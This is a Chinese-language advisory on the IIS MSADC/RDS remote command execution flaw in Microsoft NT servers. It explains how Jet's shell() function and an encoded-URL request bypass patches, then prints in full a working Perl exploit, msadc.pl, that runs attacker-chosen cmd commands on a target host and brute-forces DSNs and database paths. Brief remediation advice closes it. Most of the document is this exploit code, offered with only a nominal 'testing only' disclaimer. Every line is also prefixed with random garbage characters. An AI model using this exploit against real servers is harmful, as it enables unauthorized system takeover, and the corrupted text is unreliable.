IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
6242qb W5uI(rS<6 涉及程序：
lfG's'U-z Microsoft NT server
Hmd:>_[f +W4g:bB1 描述：
}&hgedx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
6b)UoJxj 1g.9R@Kc$ 详细：
\gXx{rLW 如果你没有时间读详细内容的话，就删除:
zQ _[wM- c:\Program Files\Common Files\System\Msadc\msadcs.dll
$q+` GXc- 有关的安全问题就没有了。
N!~NQ-Re' aRP+?}b"> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&fj?hYAj A^pp'{ !. 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
n?tAa|_ 关于利用ODBC远程漏洞的描述，请参看:
Y% 9F D/`E!6Fk= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Kn\(Xd.> za/#R _%p 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
x)5v8kgf http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3]'z8i({7Y m%\[1|N 这里不再论述。
JH;DVPX9z Q^Z}Y~. 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
[SvwJ IJJ !AHm+C_=Lg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_q$ fw& 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
`roSOX 1f O{R5<"g jG :R\D}0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
FI5C&d5d 3dphS ^X #!perl
7T Bo*-! #
PSE| 4{' # MSADC/RDS 'usage' (aka exploit) script
*xC ' #
r T) R*3 # by rain.forest.puppy
'E,Yht=/} #
hj1 jY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:W.(,65c # beta test and find errors!
0E[Se|! v a;wQ~& use Socket; use Getopt::Std;
qZ }XjL getopts("e:vd:h:XR", \%args);
N|LVLsK 0/] vmDr print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
".ZiR7Z:$Y bm.H0rHR4 if (!defined $args{h} && !defined $args{R}) {
QD~ `UJe> print qq~
'b,D;'v Usage: msadc.pl -h <host> { -d <delay> -X -v }
c y$$} -h <host> = host you want to scan (ip or domain)
x"80c(i -d <seconds> = delay between calls, default 1 second
|i8dI )b -X = dump Index Server path table, if available
M 8 }M*\2 -v = verbose
X>>rvlD N -e = external dictionary file for step 5
o3kj7U:'x 20)Il:x Or a -R will resume a command session
#!Fs[A5% 7:%K-LeaQu ~; exit;}
A-$BB=Ot 5i?U - $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
0=DawJ9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
< H/H@xQ8G if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)O
Cr6UR if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
t |h mEHUk $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
bwFc>{Wo5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|VL,\&7rk GA lO<Mu if (!defined $args{R}){ $ret = &has_msadc;
KRe=n3 1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rl=_ "sd= @~ L.m}GF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Hf iM]^ . "cmd /c ";
|O?Aj1g[c? $in=<STDIN>; chomp $in;
&i!] $command="cmd /c " . $in ;
)^+$5OR\c 0oMMJ6"i if (defined $args{R}) {&load; exit;}
'c D"ZVm1 8<xy *=% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ffVYlNQ 7L &try_btcustmr;
3R><AFMY? r%9Sx:F print "\nStep 2: Trying to make our own DSN...";
!
N p &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:u0433z: =I1@ O9}+i print "\nStep 3: Trying known DSNs...";
MC@cT^Z^ &known_dsn;
O 7s n>uO < lrw7 T print "\nStep 4: Trying known .mdbs...";
Dr:}k* &known_mdb;
~k 3r $e@ ![V-
e if (defined $args{e}){
x{}m)2[ Y print "\nStep 5: Trying dictionary of DSN names...";
o<4LL7$A! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.R,8<4 ^l,Jbt print "Sorry Charley...maybe next time?\n";
n6}1{\ exit;
6z*L9Vy($ qC &<U ##############################################################################
$7,dKC & Jd;1dYkH: sub sendraw { # ripped and modded from whisker
);[`rXH_ sleep($delay); # it's a DoS on the server! At least on mine...
0&x)5^lG my ($pstr)=@_;
Su7?-vY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
lzuZv$K die("Socket problems\n");
eC-TZ H@ if(connect(S,pack "SnA4x8",2,80,$target)){
P +SCX#{y select(S); $|=1;
T Bco print $pstr; my @in=<S>;
GFid riC select(STDOUT); close(S);
ES> 3Cf return @in;
~0NZx8qG } else { die("Can't connect...\n"); }}
')+EW"
e I}=}S"v ##############################################################################
[% jg;m 2i)y'+s sub make_header { # make the HTTP request
1"k@O)?JP my $msadc=<<EOT
:U s-^zVr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x@~V975Y User-Agent: ACTIVEDATA
[ ~3p+ Host: $ip
rd RX Content-Length: $clen
/%7eo?@, Connection: Keep-Alive
0AEs+= aZRgd^4 ADCClientVersion:01.06
K*<n<;W Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9=SZL~#CE [xC
(t]S- --!ADM!ROX!YOUR!WORLD!
D-.>Dw : Content-Type: application/x-varg
O\w%E@9Fh Content-Length: $reqlen
82vx:*Ip!} UgP5^3F2 EOT
i@RjG ; $msadc=~s/\n/\r\n/g;
-1R~3j1_ return $msadc;}
SZ Pu"O\ tv2dyC&a ##############################################################################
9HE)!Co l SYL$ ?kl sub make_req { # make the RDS request
;P_Zen my ($switch, $p1, $p2)=@_;
P/Z o my $req=""; my $t1, $t2, $query, $dsn;
]~P? @lX )dY if ($switch==1){ # this is the btcustmr.mdb query
9pgct6BO $query="Select * from Customers where City=" . make_shell();
0[] ;c$r< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
uFqH_04 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
aE"t[' Wac8x%J
elsif ($switch==2){ # this is general make table query
!m;VWGl* $query="create table AZZ (B int, C varchar(10))";
rtpjx% $dsn="$p1";}
+Il=gL1 G\of g elsif ($switch==3){ # this is general exploit table query
dw-r}Qioe $query="select * from AZZ where C=" . make_shell();
.UcS4JU $dsn="$p1";}
y+PukHY ^\!p ;R elsif ($switch==4){ # attempt to hork file info from index server
e:l 6; $query="select path from scope()";
R3~&|>7/T $dsn="Provider=MSIDXS;";}
u-Vnmig9 r?Vob}'Pt] elsif ($switch==5){ # bad query
s|%</fMt9 $query="select";
SnqLF
/d $dsn="$p1";}
;kbz( :wA 6$f,DU $t1= make_unicode($query);
ZFzO W $t2= make_unicode($dsn);
S:d ` z' $req = "\x02\x00\x03\x00";
/vMpSN|3 $req.= "\x08\x00" . pack ("S1", length($t1));
b?$3jOtW $req.= "\x00\x00" . $t1 ;
g#AA.@/Z $req.= "\x08\x00" . pack ("S1", length($t2));
~AO0(L p $req.= "\x00\x00" . $t2 ;
| ] YT6-?. $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(xTHin$ return $req;}
R
Q 8okA 5s>9 v ##############################################################################
A1C@'9R*
im' 0^ sub make_shell { # this makes the shell() statement
k5( $b{ return "'|shell(\"$command\")|'";}
2{& " 3dq J 4gIkZD ##############################################################################
pUmB
h yE7pCgXt sub make_unicode { # quick little function to convert to unicode
ZoUf Q!2* my ($in)=@_; my $out;
l|K8+5L for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|J\/U,nh return $out;}
jsR1jou6 \ Q6Ip@? ##############################################################################
W1OGN4`C K !9=e7|P sub rdo_success { # checks for RDO return success (this is kludge)
m$^7sFD$ my (@in) = @_; my $base=content_start(@in);
'>6-ie^0 if($in[$base]=~/multipart\/mixed/){
=4I361oMf return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b{oNV-<&{ return 0;}
6Z"%vrH Wp'\NFe 8 ##############################################################################
{p-%\nO C KpE#Ye & sub make_dsn { # this makes a DSN for us
Y PM>FDxDB my @drives=("c","d","e","f");
TnG"_VK9R print "\nMaking DSN: ";
IV *}w"r foreach $drive (@drives) {
L?P8/]DGp print "$drive: ";
Zy#r<j]T my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]-6 G'i? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
z TK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<. <Nw 6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>GcFk& x return 0 if $2 eq "404"; # not found/doesn't exist
\yy!?UlaI if($2 eq "200") {
%:y-"m1\u$ foreach $line (@results) {
YMWy5 \ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h {m]n! } return 0;}
YT_kM y> &F:7U! ##############################################################################
f`c z @ 3.jwOFH$ sub verify_exists {
LD NpEX~ my ($page)=@_;
J+T Ym%A;- my @results=sendraw("GET $page HTTP/1.0\n\n");
Qknd ^% return $results[0];}
QIw.`$H+ l>G#+#{ ##############################################################################
t.w?OyO 9\xw}ph sub try_btcustmr {
@|^C h+%@ my @drives=("c","d","e","f");
oqE
-q\!H my @dirs=("winnt","winnt35","winnt351","win","windows");
(=X16}n:> `i{ :mio foreach $dir (@dirs) {
brFOQU? print "$dir -> "; # fun status so you can see progress
6!'yU=Z ` foreach $drive (@drives) {
:eO]65N print "$drive: "; # ditto
A +p}oY ' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
P8EGd}2{8 $reqlenlen=length( "$reqlen" );
FYj3 !
H $clen= 206 + $reqlenlen + $reqlen;
*be+x RY |amEuKJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2c~^|@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ux }DWrR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Vs"Z9p$U c{ <3\ ##############################################################################
qg|+BIi Uz ,s2.l/5r;C sub odbc_error {
L{=z}QO my (@in)=@_; my $base;
P~#jvm! my $base = content_start(@in);
#K[
@$BY: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
qq/Cn4f N8 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?ix,Cu@ M $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8]c`n!u=` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HP8pEo0Y return $in[$base+4].$in[$base+5].$in[$base+6];}
O+yR+aXr'8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
C {Zv.+F print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
r B)WHx< $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
uZ^i8;i L`!sV-. ##############################################################################
nMnc&8r 9xz`V1mIL sub verbose {
OlK2<< my ($in)=@_;
lojn8uL return if !$verbose;
{k zM*!g print STDOUT "\n$in\n";}
F,W(H@ ~x H^s SHj ##############################################################################
p$V+IJtO( S\,{ qhd sub save {
k"U4E
J{ my ($p1, $p2, $p3, $p4)=@_;
3ZVfZf open(OUT, ">rds.save") || print "Problem saving parameters...\n";
nGf@zJDb print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
E|TzrH close OUT;}
3_-# M}vPWW cl ##############################################################################
4 A<c@g2 A g Pg0(G sub load {
V+8 + 17^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Hq g H\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NanU%# & @p=<IN>; close(IN);
W6PGv1iaW> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
> !2'|y^ $target= inet_aton($ip) || die("inet_aton problems");
ZQ:Y5 ph print "Resuming to $ip ...";
ooAZ,l=8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]+Vcu zq/ if($p[1]==1) {
Pv'x|p* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l ghzd6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
; YRZg|Zw my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
83 h3C EQ if (rdo_success(@results)){print "Success!\n";}
v+OVZDf else { print "failed\n"; verbose(odbc_error(@results));}}
jQDxbkIuzE elsif ($p[1]==3){
Z/x1?{z if(run_query("$p[3]")){
9D<HJ ( print "Success!\n";} else { print "failed\n"; }}
- "<f( elsif ($p[1]==4){
V1fPH; if(run_query($drvst . "$p[3]")){
B8&@Qc@~ print "Success!\n"; } else { print "failed\n"; }}
!d^` YEfE exit;}
~!;3W!@(E Nt'5} ##############################################################################
zk]~cG5dT/ K?>&Mr sub create_table {
l\5 NuCgRY my ($in)=@_;
us A!MMH4 $reqlen=length( make_req(2,$in,"") ) - 28;
' 4"L;){:L $reqlenlen=length( "$reqlen" );
O^GX Fz^ $clen= 206 + $reqlenlen + $reqlen;
s,RS}ek~| my @results=sendraw(make_header() . make_req(2,$in,""));
3:gk:j # return 1 if rdo_success(@results);
4D13K.h`O my $temp= odbc_error(@results); verbose($temp);
Px8E~X <@ return 1 if $temp=~/Table 'AZZ' already exists/;
BCbW;w8aI return 0;}
\ ,N dg*qC ra&C|"~E ##############################################################################
`#ztp )& ~I XfID!8 sub known_dsn {
oW_WW$+N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(nzt}i0 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V6k9L*VP "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
O rBFe *2y "banner", "banners", "ads", "ADCDemo", "ADCTest");
c>g%oE W@tLT[}CG foreach $dSn (@dsns) {
j;3o9!.s: print ".";
j7d;1 zB+G next if (!is_access("DSN=$dSn"));
cG?266{g if(create_table("DSN=$dSn")){
B_S3}g<~ print "$dSn successful\n";
bo2Od if(run_query("DSN=$dSn")){
RB" rx\u7K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ie~~L U print "Something's borked. Use verbose next time\n";}}} print "\n";}
E kX6> mo 0#JBz\ ##############################################################################
%c0;Bb- 5f5ZfK3<i sub is_access {
&<V~s/n=6? my ($in)=@_;
4!jHZ<2 Z $reqlen=length( make_req(5,$in,"") ) - 28;
($s{em4L $reqlenlen=length( "$reqlen" );
}dz(DP d $clen= 206 + $reqlenlen + $reqlen;
b\2"1m0H my @results=sendraw(make_header() . make_req(5,$in,""));
F0\ry "(t my $temp= odbc_error(@results);
riL!]'akV verbose($temp); return 1 if ($temp=~/Microsoft Access/);
xpM~* Gpm return 0;}
)N<!3yOz tTgW^&B ##############################################################################
if'4 MDl .tNB07=7 sub run_query {
*v+ fkg my ($in)=@_;
#!/Nmd=Nj $reqlen=length( make_req(3,$in,"") ) - 28;
8'_Y=7b0Nw $reqlenlen=length( "$reqlen" );
^Ram8fW $clen= 206 + $reqlenlen + $reqlen;
S\A[Z&k 0
my @results=sendraw(make_header() . make_req(3,$in,""));
hd~rC*I return 1 if rdo_success(@results);
rx/6x(3 my $temp= odbc_error(@results); verbose($temp);
2. _cEY34 return 0;}
9m6j?CFG} 6,PL zZ5 ##############################################################################
3[0:,^a je-s%kNlJ sub known_mdb {
Q 1Ao65 my @drives=("c","d","e","f","g");
.yPx'_ e my @dirs=("winnt","winnt35","winnt351","win","windows");
ZT ZE_[ my $dir, $drive, $mdb;
U&R$(k0zS my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@Xmk Im 67x^{u7 # this is sparse, because I don't know of many
\Hd B my @sysmdbs=( "\\catroot\\icatalog.mdb",
F!{S eH: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'_)t R;s "\\system32\\certmdb.mdb",
c & HoS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*$VurqLn 6ZBD$1$A! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
k:Q<Uanc[ "\\cfusion\\cfapps\\forums\\forums_.mdb",
gwJu&HA/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
N3p3"4_]fy "\\cfusion\\cfapps\\security\\realm_.mdb",
rRYf.~UH@P "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q_.Fw\l$` "\\cfusion\\database\\cfexamples.mdb",
F S:WbFmc "\\cfusion\\database\\cfsnippets.mdb",
vEGK{rMA "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Ysu/7o4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5ov%(QI "\\cfusion\\brighttiger\\database\\cleam.mdb",
*q{UipZbx "\\cfusion\\database\\smpolicy.mdb",
$Stu-l1e a "\\cfusion\\database\cypress.mdb",
$P3nP=mf "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
OB 22P % "\\website\\cgi-win\\dbsample.mdb",
? sYjFiE "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&v,p_'k "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
U@nwSfp:G ); #these are just
7g9 ^Jn foreach $drive (@drives) {
E6M: ^p*< foreach $dir (@dirs){
_ GSw\r foreach $mdb (@sysmdbs) {
N/BU%c
ph+ print ".";
gN~y6c:N if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H%]ch6C print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n~j[ P w if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|U
$-d^ZJ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tpONSRY } else { print "Something's borked. Use verbose next time\n"; }}}}}
<>s \tJ sdQv:nd'R foreach $drive (@drives) {
lvi:I+VgA foreach $mdb (@mdbs) {
J B@VP{ print ".";
U I C? S if(create_table($drv . $drive . $dir . $mdb)){
,~(}lvqVH print "\n" . $drive . $dir . $mdb . " successful\n";
DT4RodE$ if(run_query($drv . $drive . $dir . $mdb)){
uszSFe]E print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^ {f ^WL= } else { print "Something's borked. Use verbose next time\n"; }}}}
VhgEG(Ud }
WmUW
i{ (p=GR# ##############################################################################
R"`{E,yj :* b4/qpYv sub hork_idx {
=fK'Ep[ print "\nAttempting to dump Index Server tables...\n";
om?CF l print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_`>7
Q) ,7 $reqlen=length( make_req(4,"","") ) - 28;
~e9INZe-j $reqlenlen=length( "$reqlen" );
]bb}[#AY $clen= 206 + $reqlenlen + $reqlen;
C} _:K)5q my @results=sendraw2(make_header() . make_req(4,"",""));
Y{RB\}f( if (rdo_success(@results)){
MXk. 2 my $max=@results; my $c; my %d;
vp-7>Wj for($c=19; $c<$max; $c++){
[oLQd-+
$results[$c]=~s/\x00//g;
:
"te- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I?Fa $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+ t4m\/y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
DAHf&/J K $d{"$1$2"}="";}
v qMk)htIz foreach $c (keys %d){ print "$c\n"; }
5KE%@,k k } else {print "Index server doesn't seem to be installed.\n"; }}
M l?)Sc"\7 PRC)GP&q ##############################################################################
3Lki7QW` Cnci%e o sub dsn_dict {
A 5<Z&Y[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
iLcadX while(<IN>){
{))S<_ yN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
OG7v'vmY next if (!is_access("DSN=$dSn"));
w*%$
lhp! if(create_table("DSN=$dSn")){
zB "
`i print "$dSn successful\n";
EZQ+HECpK if(run_query("DSN=$dSn")){
~PW}sN6ppG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
iCRw}[[ print "Something's borked. Use verbose next time\n";}}}
'8kjTf#g<l print "\n"; close(IN);}
Sx9:$"3.X I{e^,oc ##############################################################################
:;q_ f+U .y9rM{h}b sub sendraw2 { # ripped and modded from whisker
fhIj+/{_O sleep($delay); # it's a DoS on the server! At least on mine...
~Z6p3#
!o my ($pstr)=@_;
c_$&Uii socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p[F=L P die("Socket problems\n");
^.kAZSgO if(connect(S,pack "SnA4x8",2,80,$target)){
ZQ-` l:G print "Connected. Getting data";
qbq<O %g= open(OUT,">raw.out"); my @in;
VfqY _NmgC select(S); $|=1; print $pstr;
CU1\ C* while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}_(^/pnk close(OUT); select(STDOUT); close(S); return @in;
]!G>8Rc } else { die("Can't connect...\n"); }}
pkf OM"5' A2:){ `Mw ##############################################################################
.4re0:V
i~B@( , sub content_start { # this will take in the server headers
= #2qX> ? my (@in)=@_; my $c;
^}/
E~Sg7\ for ($c=1;$c<500;$c++) {
W$Q)aA7 if($in[$c] =~/^\x0d\x0a/){
,9tbu!Pvq if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%_R| @cyD else { return $c+1; }}}
^Xy$is3 return -1;} # it should never get here actually
<C"N X ,x "yZ ##############################################################################
QC5f:B wM ->2wrOH|H sub funky {
%^?3s5PXD my (@in)=@_; my $error=odbc_error(@in);
uj9tr`Zh
if($error=~/ADO could not find the specified provider/){
P,;b'-5C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%>9+1lUhV exit;}
-C-OG}XjI if($error=~/A Handler is required/){
9#T%bB "J print "\nServer has custom handler filters (they most likely are patched)\n";
?V)C 9@bp exit;}
1;:t~Y if($error=~/specified Handler has denied Access/){
nR@,ouB-$ print "\nServer has custom handler filters (they most likely are patched)\n";
gLSG:7m@ exit;}}
`TD %M`a ?I2k6 %a ##############################################################################
? WQ d Fr3d#kVR sub has_msadc {
Z: lB:U'o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"ex~ L B my $base=content_start(@results);
|Iok(0V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{I9 N6BQ& return 0;}
7hF,gl5 EO PS? @ ########################
W^d4 /] c."bTq4tJ r]JC~{ 解决方案：
Pm#x?1rAj 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~r>EF!U`h 2、移除web 目录: /msadc
